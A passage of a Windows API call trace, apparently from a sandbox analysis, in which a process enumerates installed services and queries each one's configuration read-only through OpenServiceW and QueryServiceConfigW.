cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68348, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1e68348, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0249.197] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="HomeGroupListener", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.198] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.198] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.199] GetLastError () returned 0x7a [0249.199] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68390, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1e68390, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0249.202] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="HomeGroupProvider", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.202] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.202] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.203] GetLastError () returned 0x7a [0249.203] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x178, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e683d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1e683d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0249.204] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="idsvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.204] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.204] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.205] GetLastError () returned 0x7a [0249.205] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x1e68420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="infocard.exe", lpUsedDefaultChar=0x0) returned 12 [0249.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1e68420, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0249.206] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="IKEEXT", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.208] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.208] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.208] GetLastError () returned 0x7a [0249.208] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68468, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1e68468, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0249.209] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="IPBusEnum", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.210] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.210] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.210] GetLastError () returned 0x7a [0249.210] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x14c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e684b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1e684b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0249.211] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="iphlpsvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.212] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.212] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.212] GetLastError () returned 0x7a [0249.212] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e684f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1e684f8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0249.213] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="KeyIso", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.213] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.214] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.214] GetLastError () returned 0x7a [0249.214] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0xec, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e68540, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0249.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1e68540, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0249.215] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="KtmRm", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.215] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.216] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.216] GetLastError () returned 0x7a [0249.216] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x19c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1e68588, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0249.217] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="LanmanServer", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.217] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.218] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.218] GetLastError () returned 0x7a [0249.218] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0xf8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e685d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1e685d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0249.219] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="LanmanWorkstation", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.219] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.220] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.220] GetLastError () returned 0x7a [0249.220] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x174, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1e68618, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0249.221] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="lltdsvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.221] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.222] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.222] GetLastError () returned 0x7a [0249.222] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x160, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68660, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1e68660, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0249.223] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="lmhosts", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.223] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.224] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.224] GetLastError () returned 0x7a [0249.224] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e686a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1e686a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0249.225] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Mcx2Svc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.225] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.226] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.226] GetLastError () returned 0x7a [0249.226] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x1a8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e686f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0249.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1e686f0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0249.227] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.227] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.228] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.228] GetLastError () returned 0x7a [0249.228] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x184, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x1e68738, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="groove.exe", lpUsedDefaultChar=0x0) returned 10 [0249.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1e68738, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0249.229] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MMCSS", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.229] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.230] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.230] GetLastError () returned 0x7a [0249.230] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x10e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, 